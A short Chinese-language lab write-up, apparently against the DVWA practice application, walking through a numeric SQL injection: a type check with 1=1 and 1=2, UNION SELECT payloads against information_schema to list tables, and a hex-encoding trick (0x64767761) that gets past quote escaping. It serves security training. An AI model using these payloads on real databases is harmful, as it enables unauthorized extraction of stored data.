因为页面上只能选择相应数字查询,因此需要抓包进行注入;
首先通过语句判断是字符型还是数字型:
id=1 and 1=1--+
id=1 and 1=2--+
如图,两次返回结果不同,因此这是一个数字型注入。
然后依照流程爆出当前表列数和回显位,爆出当前数据库名字(这一步就省略了);
接着,要利用information_schema数据库爆出当前数据库下表名,会发现报错;
id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema='dvwa'--+
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'--' at line 1
说明在‘dvwa’处的单引号’被进行了转义,于是可以将dvwa转换为十六进制进行绕过,转换结果是0x64767761;
注:为什么可以用十六进制进行绕过,十六进制常量会被视作一组字节,会根据当前数据库的字符集转化为对应字符,对应上table_schema字段的格式。
id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=0x64767761--+
成功报出表名,剩下的按部就班的爆出即可。